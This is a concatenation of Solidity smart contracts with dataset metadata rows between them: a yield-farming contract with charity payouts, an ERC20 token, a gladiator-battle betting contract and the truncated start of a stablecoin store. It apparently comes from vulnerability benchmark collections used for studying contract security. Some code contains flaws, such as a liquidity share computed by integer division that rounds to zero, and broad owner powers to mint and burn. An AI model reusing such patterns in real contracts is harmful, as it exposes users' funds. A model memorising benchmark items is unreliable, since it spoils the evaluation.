function setMinPercentToCharity(uint percent) public onlyOwner {
minPercentToCharity = percent;
}
function setCharityAddress(address addy) public onlyOwner {
charityAddress = addy;
}
function fund(uint256 amount) public onlyOwner {
require(startBlock == 0 || block.number < endBlock, "fund: too late, the farm is closed");
_munchToken.safeTransferFrom(address(msg.sender), address(this), amount);
if (startBlock == 0) {
startBlock = block.number;
endBlock = startBlock;
}
endBlock += amount.div(rewardPerBlock);
fundsAdded = fundsAdded.add(amount);
}
function fund(uint256 amount, uint256 rewards) public onlyOwner {
require(startBlock > 0 && block.number < endBlock, "fund: Farm is closed or not yet started");
_munchToken.safeTransferFrom(address(msg.sender), address(this), amount);
changeReward(rewards);
fundsAdded = fundsAdded.add(amount);
}
function changeReward(uint256 rewards) public onlyOwner {
require(startBlock > 0, "Not started yet");
updatePool();
rewardPerBlock = rewards;
uint256 amount = _munchToken.balanceOf(address(this));
uint refBlock = block.number > startBlock ? block.number : startBlock;
endBlock = refBlock + amount.div(rewardPerBlock);
}
function pending(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 lpSupply = _lpToken.balanceOf(address(this));
uint256 accERC20PerShare = _accERC20PerShare;
if (block.number > _lastRewardBlock && lpSupply != 0) {
uint256 lastBlock = block.number < endBlock ? block.number : endBlock;
uint256 nrOfBlocks = lastBlock.sub(_lastRewardBlock);
accERC20PerShare = accERC20PerShare.add(nrOfBlocks.mul(rewardPerBlock).mul(1e36).div(lpSupply));
}
return user.amount.mul(accERC20PerShare).div(1e36).sub(user.rewardDebt);
}
function totalPending() external view returns (uint256) {
if (block.number <= startBlock) {
return 0;
}
uint256 lastBlock = block.number < endBlock ? block.number : endBlock;
return rewardPerBlock.mul(lastBlock - startBlock).sub(paidOut);
}
function updatePool() public {
uint256 lastBlock = block.number < endBlock ? block.number : endBlock;
if (lastBlock <= _lastRewardBlock) {
return;
}
uint256 lpSupply = _lpToken.balanceOf(address(this));
if (lpSupply == 0) {
_lastRewardBlock = lastBlock;
return;
}
uint256 nrOfBlocks = lastBlock.sub(_lastRewardBlock);
uint256 erc20Reward = nrOfBlocks.mul(rewardPerBlock);
_accERC20PerShare = _accERC20PerShare.add(erc20Reward.mul(1e36).div(lpSupply));
_lastRewardBlock = lastBlock;
}
function deposit(uint256 amount, uint percentToCharity) public {
require(block.number < endBlock, 'Farm is now closed');
require(percentToCharity >= minPercentToCharity && minPercentToCharity <= 100, 'Invalid charity value');
UserInfo storage user = userInfo[msg.sender];
updatePool();
if (user.amount > 0) {
uint256 pendingAmount = user.amount.mul(_accERC20PerShare).div(1e36).sub(user.rewardDebt);
erc20Transfer(msg.sender, pendingAmount, user.percentToCharity);
}
_lpToken.safeTransferFrom(address(msg.sender), address(this), amount);
user.amount = user.amount.add(amount);
user.rewardDebt = user.amount.mul(_accERC20PerShare).div(1e36);
user.lastDepositTime = block.timestamp;
user.percentToCharity = percentToCharity;
emit Deposit(msg.sender, amount);
}
function withdraw(uint256 amount) public {
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= amount, "withdraw: can't withdraw more than deposit");
require(amount == 0 || block.timestamp.sub(user.lastDepositTime) > cliffTime, "You recently staked, please wait before withdrawing.");
updatePool();
uint256 pendingAmount = user.amount.mul(_accERC20PerShare).div(1e36).sub(user.rewardDebt);
erc20Transfer(msg.sender, pendingAmount, user.percentToCharity);
user.amount = user.amount.sub(amount);
user.rewardDebt = user.amount.mul(_accERC20PerShare).div(1e36);
_lpToken.safeTransfer(address(msg.sender), amount);
emit Withdraw(msg.sender, amount);
}
function emergencyWithdraw() public {
UserInfo storage user = userInfo[msg.sender];
_lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function erc20Transfer(address to, uint256 amount, uint percentToCharity) internal {
uint256 toCharity = amount.mul(percentToCharity).div(100);
uint256 toHolder = amount.sub(toCharity);
if (toCharity > 0) {
_munchToken.transfer(charityAddress, toCharity);
}
if (toHolder > 0) {
_munchToken.transfer(to, toHolder);
}
paidOut += amount;
}
function erc20Withdraw(address to) onlyOwner public {
require(block.timestamp >= endBlock + 6 * 7 days, "Not allowed until 6 weeks after end of farming.");
uint256 amount = _munchToken.balanceOf(address(this));
_munchToken.transfer(to, amount);
}
function ethWithdraw(address payable to) onlyOwner public {
uint256 balance = address(this).balance;
require(balance > 0, "Balance is zero.");
to.transfer(balance);
}
receive() external payable {}
function provideLiquidity(uint256 amount) external payable {
_munchToken.transferFrom(msg.sender, address(this), amount);
_uniswapV2Router.addLiquidityETH{value: msg.value}(address(_munchToken), amount, amount.mul(99).div(100), msg.value.mul(99).div(100), msg.sender, block.timestamp);
}
function removeLiquidity(uint256 amount) external {
_lpToken.transferFrom(msg.sender, address(this), amount);
(uint256 munchBal, uint256 ethBal,) = _lpToken.getReserves();
uint256 share = amount.div(_lpToken.totalSupply());
(uint256 munchWithdrawn, uint256 ethWithdrawn) = _uniswapV2Router.removeLiquidityETH(address(_munchToken), amount, share.mul(munchBal).mul(99).div(100), share.mul(ethBal).mul(99).div(100), address(this), block.timestamp);
_munchToken.transfer(msg.sender, munchWithdrawn);
(bool success,) = msg.sender.call{value: ethWithdrawn}("");
require(success, "Transfer failed.");
}
}
| 275,427 | 13,441 |
84c47889a2322681b23914f0a762bd4c86f0070388941db9efe30486cd4cfa63
| 24,960 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/7493_10565_0xc80d44623b70b93e4b3ddcb93dbd58624e0a9c36.sol
| 3,307 | 12,419 |
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, with should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
// main 1000000000000000000
contract AIXToken is Context, ERC20Detailed, ERC20, Ownable {
// metadata
string public constant tokenName = "AIX Token";
string public constant tokenSymbol = "AIX";
uint8 public constant decimalUnits = 18;
uint256 public constant initialSupply = 5000000000;
constructor ()
public
ERC20Detailed(tokenName, tokenSymbol, decimalUnits)
Ownable()
ERC20() {
_mint(_msgSender(), initialSupply * (10 ** uint256(decimals())));
}
function mint(uint256 amount) public onlyOwner {
_mint(_msgSender(), amount * (10 ** uint256(decimals())));
}
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
function burnFrom(address account, uint256 value) public onlyOwner {
_burnFrom(account, value);
}
// can accept ether
function() external payable {
}
}
| 230,267 | 13,442 |
64b35626780fa29a4b3b914a10ee17bcf69f1422fce585882c1ec3b3bed57faa
| 16,181 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x310526b4e4b78705ecaf644f01fb7631f3b77cb1.sol
| 4,129 | 15,686 |
pragma solidity 0.4.25;
library SafeMath256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
if (b == 0) return 1;
uint256 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _validateAddress(address _addr) internal pure {
require(_addr != address(0), "invalid address");
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not a contract owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_validateAddress(newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "contract is paused");
_;
}
modifier whenPaused() {
require(paused, "contract is not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Controllable is Ownable {
mapping(address => bool) controllers;
modifier onlyController {
require(_isController(msg.sender), "no controller rights");
_;
}
function _isController(address _controller) internal view returns (bool) {
return controllers[_controller];
}
function _setControllers(address[] _controllers) internal {
for (uint256 i = 0; i < _controllers.length; i++) {
_validateAddress(_controllers[i]);
controllers[_controllers[i]] = true;
}
}
}
contract Upgradable is Controllable {
address[] internalDependencies;
address[] externalDependencies;
function getInternalDependencies() public view returns(address[]) {
return internalDependencies;
}
function getExternalDependencies() public view returns(address[]) {
return externalDependencies;
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
for (uint256 i = 0; i < _newDependencies.length; i++) {
_validateAddress(_newDependencies[i]);
}
internalDependencies = _newDependencies;
}
function setExternalDependencies(address[] _newDependencies) public onlyOwner {
externalDependencies = _newDependencies;
_setControllers(_newDependencies);
}
}
contract Gold {
function remoteTransfer(address _to, uint256 _value) external;
}
contract GladiatorBattleStorage {
function challengesAmount() external view returns (uint256);
function battleOccurred(uint256) external view returns (bool);
function challenges(uint256) external view returns (bool, uint256, uint256);
function battleBlockNumber(uint256) external view returns (uint256);
function creator(uint256) external view returns (address, uint256);
function opponent(uint256) external view returns (address, uint256);
function winner(uint256) external view returns (address, uint256);
}
contract GladiatorBattleSpectatorsStorage {
function challengeBetsValue(uint256, bool) external view returns (uint256);
function challengeBalance(uint256) external view returns (uint256);
function challengeBetsAmount(uint256, bool) external view returns (uint256);
function betsAmount() external view returns (uint256);
function allBets(uint256) external view returns (address, uint256, bool, uint256, bool);
function payOut(address, bool, uint256) external;
function setChallengeBalance(uint256, uint256) external;
function setChallengeBetsAmount(uint256, bool, uint256) external;
function setChallengeBetsValue(uint256, bool, uint256) external;
function addBet(address, uint256, bool, uint256) external returns (uint256);
function deactivateBet(uint256) external;
function addChallengeBet(uint256, uint256) external;
function removeChallengeBet(uint256, uint256) external;
function addUserChallenge(address, uint256, uint256) external;
function removeUserChallenge(address, uint256) external;
function userChallengeBetId(address, uint256) external view returns (uint256);
function challengeWinningBetsAmount(uint256) external view returns (uint256);
function setChallengeWinningBetsAmount(uint256, uint256) external;
function getUserBet(address, uint256) external view returns (uint256, bool, uint256, bool);
}
contract GladiatorBattleSpectators is Upgradable {
using SafeMath256 for uint256;
Gold goldTokens;
GladiatorBattleSpectatorsStorage _storage_;
GladiatorBattleStorage battleStorage;
uint256 constant MULTIPLIER = 10**6; // for more accurate calculations
function _safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
return b > a ? 0 : a.sub(b);
}
function _validateChallengeId(uint256 _challengeId) internal view {
require(_challengeId > 0 &&
_challengeId < battleStorage.challengesAmount(),
"wrong challenge id");
}
function _validateBetId(uint256 _betId) internal view {
require(_betId > 0 &&
_betId < _storage_.betsAmount(),
"wrong bet id");
(, , , , bool _active) = _storage_.allBets(_betId);
require(_active, "the bet is not active");
}
function _getChallengeCurrency(uint256 _challengeId) internal view returns (bool isGold) {
(isGold, ,) = battleStorage.challenges(_challengeId);
}
function _getChallengeBetsAmount(uint256 _challengeId,
bool _willCreatorWin) internal view returns (uint256) {
return _storage_.challengeBetsAmount(_challengeId, _willCreatorWin);
}
function _getChallengeBetsValue(uint256 _challengeId,
bool _willCreatorWin) internal view returns (uint256) {
return _storage_.challengeBetsValue(_challengeId, _willCreatorWin);
}
function _getChallengeBalance(uint256 _challengeId) internal view returns (uint256) {
return _storage_.challengeBalance(_challengeId);
}
function _setChallengeBetsAmount(uint256 _challengeId,
bool _willCreatorWin,
uint256 _value) internal {
_storage_.setChallengeBetsAmount(_challengeId, _willCreatorWin, _value);
}
function _setChallengeBetsValue(uint256 _challengeId,
bool _willCreatorWin,
uint256 _value) internal {
_storage_.setChallengeBetsValue(_challengeId, _willCreatorWin, _value);
}
function _setChallengeBalance(uint256 _challengeId,
uint256 _value) internal {
_storage_.setChallengeBalance(_challengeId, _value);
}
function _updateBetsValues(uint256 _challengeId,
bool _willCreatorWin,
uint256 _value,
bool _increase // or decrease) internal {
uint256 _betsAmount = _getChallengeBetsAmount(_challengeId, _willCreatorWin);
uint256 _betsValue = _getChallengeBetsValue(_challengeId, _willCreatorWin);
uint256 _betsTotalValue = _getChallengeBalance(_challengeId);
if (_increase) {
_betsAmount = _betsAmount.add(1);
_betsValue = _betsValue.add(_value);
_betsTotalValue = _betsTotalValue.add(_value);
} else {
_betsAmount = _betsAmount.sub(1);
_betsValue = _betsValue.sub(_value);
_betsTotalValue = _betsTotalValue.sub(_value);
}
_setChallengeBetsAmount(_challengeId, _willCreatorWin, _betsAmount);
_setChallengeBetsValue(_challengeId, _willCreatorWin, _betsValue);
_setChallengeBalance(_challengeId, _betsTotalValue);
}
function _checkThatOpponentIsSelected(uint256 _challengeId) internal view returns (bool) {
(, uint256 _dragonId) = battleStorage.opponent(_challengeId);
require(_dragonId != 0, "the opponent is not selected");
}
function _hasBattleOccurred(uint256 _challengeId) internal view returns (bool) {
return battleStorage.battleOccurred(_challengeId);
}
function _checkThatBattleHasNotOccurred(uint256 _challengeId) internal view {
require(!_hasBattleOccurred(_challengeId), "the battle has already occurred");
}
function _checkThatBattleHasOccurred(uint256 _challengeId) internal view {
require(_hasBattleOccurred(_challengeId), "the battle has not yet occurred");
}
function _checkThatWeDoNotKnowTheResult(uint256 _challengeId) internal view {
uint256 _blockNumber = battleStorage.battleBlockNumber(_challengeId);
require(_blockNumber > block.number || _blockNumber < _safeSub(block.number, 256),
"we already know the result");
}
function _isWinningBet(uint256 _challengeId,
bool _willCreatorWin) internal view returns (bool) {
(address _winner,) = battleStorage.winner(_challengeId);
(address _creator,) = battleStorage.creator(_challengeId);
bool _isCreatorWinner = _winner == _creator;
return _isCreatorWinner == _willCreatorWin;
}
function _checkWinner(uint256 _challengeId,
bool _willCreatorWin) internal view {
require(_isWinningBet(_challengeId, _willCreatorWin), "you did not win the bet");
}
function _checkThatBetIsActive(bool _active) internal pure {
require(_active, "bet is not active");
}
function _payForBet(uint256 _value,
bool _isGold,
uint256 _bet) internal {
if (_isGold) {
require(_value == 0, "specify isGold as false to send eth");
goldTokens.remoteTransfer(address(_storage_), _bet);
} else {
require(_value == _bet, "wrong eth amount");
address(_storage_).transfer(_value);
}
}
function() external payable {}
function _create(address _user,
uint256 _challengeId,
bool _willCreatorWin,
uint256 _value) internal {
uint256 _betId = _storage_.addBet(_user, _challengeId, _willCreatorWin, _value);
_storage_.addChallengeBet(_challengeId, _betId);
_storage_.addUserChallenge(_user, _challengeId, _betId);
}
function placeBet(address _user,
uint256 _challengeId,
bool _willCreatorWin,
uint256 _value,
uint256 _ethValue) external onlyController returns (bool isGold) {
_validateChallengeId(_challengeId);
_checkThatOpponentIsSelected(_challengeId);
_checkThatBattleHasNotOccurred(_challengeId);
_checkThatWeDoNotKnowTheResult(_challengeId);
require(_value > 0, "a bet must be more than 0");
isGold = _getChallengeCurrency(_challengeId);
_payForBet(_ethValue, isGold, _value);
uint256 _existingBetId = _storage_.userChallengeBetId(_user, _challengeId);
require(_existingBetId == 0, "you have already placed a bet");
_create(_user, _challengeId, _willCreatorWin, _value);
_updateBetsValues(_challengeId, _willCreatorWin, _value, true);
}
function _remove(address _user,
uint256 _challengeId,
uint256 _betId) internal {
_storage_.deactivateBet(_betId);
_storage_.removeChallengeBet(_challengeId, _betId);
_storage_.removeUserChallenge(_user, _challengeId);
}
function removeBet(address _user,
uint256 _challengeId) external onlyController {
_validateChallengeId(_challengeId);
uint256 _betId = _storage_.userChallengeBetId(_user, _challengeId);
(address _realUser,
uint256 _realChallengeId,
bool _willCreatorWin,
uint256 _value,
bool _active) = _storage_.allBets(_betId);
require(_realUser == _user, "not your bet");
require(_realChallengeId == _challengeId, "wrong challenge");
_checkThatBetIsActive(_active);
if (_hasBattleOccurred(_challengeId)) {
require(!_isWinningBet(_challengeId, _willCreatorWin), "request a reward instead");
uint256 _opponentBetsAmount = _getChallengeBetsAmount(_challengeId, !_willCreatorWin);
require(_opponentBetsAmount == 0, "your bet lost");
} else {
_checkThatWeDoNotKnowTheResult(_challengeId);
}
_remove(_user, _challengeId, _betId);
bool _isGold = _getChallengeCurrency(_challengeId);
_storage_.payOut(_user, _isGold, _value);
_updateBetsValues(_challengeId, _willCreatorWin, _value, false);
}
function _updateWinningBetsAmount(uint256 _challengeId,
bool _willCreatorWin) internal returns (bool) {
uint256 _betsAmount = _getChallengeBetsAmount(_challengeId, _willCreatorWin);
uint256 _existingWinningBetsAmount = _storage_.challengeWinningBetsAmount(_challengeId);
uint256 _winningBetsAmount = _existingWinningBetsAmount == 0 ? _betsAmount : _existingWinningBetsAmount;
_winningBetsAmount = _winningBetsAmount.sub(1);
_storage_.setChallengeWinningBetsAmount(_challengeId, _winningBetsAmount);
return _winningBetsAmount == 0;
}
function requestReward(address _user,
uint256 _challengeId) external onlyController returns (uint256 reward, bool isGold) {
_validateChallengeId(_challengeId);
_checkThatBattleHasOccurred(_challengeId);
(uint256 _betId,
bool _willCreatorWin,
uint256 _value,
bool _active) = _storage_.getUserBet(_user, _challengeId);
_checkThatBetIsActive(_active);
_checkWinner(_challengeId, _willCreatorWin);
bool _isLast = _updateWinningBetsAmount(_challengeId, _willCreatorWin);
uint256 _betsValue = _getChallengeBetsValue(_challengeId, _willCreatorWin);
uint256 _opponentBetsValue = _getChallengeBetsValue(_challengeId, !_willCreatorWin);
uint256 _percentage = _value.mul(MULTIPLIER).div(_betsValue);
reward = _opponentBetsValue.mul(85).div(100).mul(_percentage).div(MULTIPLIER); // 15% to winner in the battle
reward = reward.add(_value);
uint256 _challengeBalance = _getChallengeBalance(_challengeId);
require(_challengeBalance >= reward, "not enough coins, something went wrong");
reward = _isLast ? _challengeBalance : reward; // get rid of inaccuracies of calculations
isGold = _getChallengeCurrency(_challengeId);
_storage_.payOut(_user, isGold, reward);
_setChallengeBalance(_challengeId, _challengeBalance.sub(reward));
_storage_.deactivateBet(_betId);
}
// UPDATE CONTRACT
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
super.setInternalDependencies(_newDependencies);
goldTokens = Gold(_newDependencies[0]);
_storage_ = GladiatorBattleSpectatorsStorage(_newDependencies[1]);
battleStorage = GladiatorBattleStorage(_newDependencies[2]);
}
}
| 200,021 | 13,443 |
9871f56d858a2e324b7fc05128fdf36ce97968baaedb3e594a97827ac01eb480
| 15,986 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xd30d06b276867cfa2266542791242ff37c91ba8d.sol
| 4,000 | 15,745 |
pragma solidity ^0.5.2;
contract IERC20Token {
function balanceOf(address _owner) public view returns (uint);
function allowance(address _owner, address _spender) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function totalSupply() public view returns (uint);
}
contract IDSWrappedToken is IERC20Token {
function mint(address _account, uint _value) public;
function burn(address _account, uint _value) public;
function wrap(address _dst, uint _amount) public returns (uint);
function unwrap(address _dst, uint _amount) public returns (uint);
function changeByMultiple(uint _amount) public view returns (uint);
function reverseByMultiple(uint _xAmount) public view returns (uint);
function getSrcERC20() public view returns (address);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0, "ds-math-div-overflow");
z = x / y;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function pow(uint256 base, uint256 exponent) public pure returns (uint256) {
if (exponent == 0) {
return 1;
}
else if (exponent == 1) {
return base;
}
else if (base == 0 && exponent != 0) {
return 0;
}
else {
uint256 z = base;
for (uint256 i = 1; i < exponent; i++)
z = mul(z, base);
return z;
}
}
}
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
event OwnerUpdate (address indexed owner, address indexed newOwner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
address public newOwner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function disableOwnership() public onlyOwner {
owner = address(0);
emit OwnerUpdate(msg.sender, owner);
}
function transferOwnership(address newOwner_) public onlyOwner {
require(newOwner_ != owner, "TransferOwnership: the same owner.");
newOwner = newOwner_;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "AcceptOwnership: only new owner do this.");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
function setAuthority(DSAuthority authority_)
public
onlyOwner
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier onlyOwner {
require(isOwner(msg.sender), "ds-auth-non-owner");
_;
}
function isOwner(address src) internal view returns (bool) {
return bool(src == owner);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DFStore is DSMath, DSAuth {
struct Section {
uint minted;
uint burned;
uint backupIdx;
address[] colIDs;
uint[] cw;
}
Section[] public secList;
mapping(address => address) public wrappedTokens;
uint backupSeed = 1;
mapping(uint => Section) public secListBackup;
